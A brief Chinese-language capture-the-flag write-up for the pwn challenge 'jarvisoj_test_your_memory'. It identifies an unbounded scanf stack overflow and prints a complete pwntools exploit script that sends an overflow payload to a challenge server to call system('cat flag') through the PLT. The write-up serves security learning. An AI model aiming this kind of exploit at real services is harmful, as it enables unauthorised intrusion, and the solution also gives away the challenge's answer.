jarvisoj_test_your_memory
拿到题目,我们可以先checksec一下:

拖入IDA中:

漏洞在于scanf没有限制我们输入的字节,可以造成栈溢出,题目中有cat flag,与system函数plt表,所以直接栈溢出,payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context.log_level = 'debug'
sh = remote("node5.buuoj.cn",29765) elf = ELF("./memory")
system_addr = elf.plt["system"] print(hex(system_addr))
cat_flag_addr = 0x80487E0 last_addr = 0x8048718
payload = b"A"*(0x13+0x4) + p32(system_addr) + p32(last_addr) + p32(cat_flag_addr)
sh.sendline(payload) sh.interactive()
|
这道题需要注意的是,我们不是用system函数开shell,程序是要正常退出的,所以返回地址是不能乱填的,这里我选的返回地址是(main+161),你也可以选择别的:
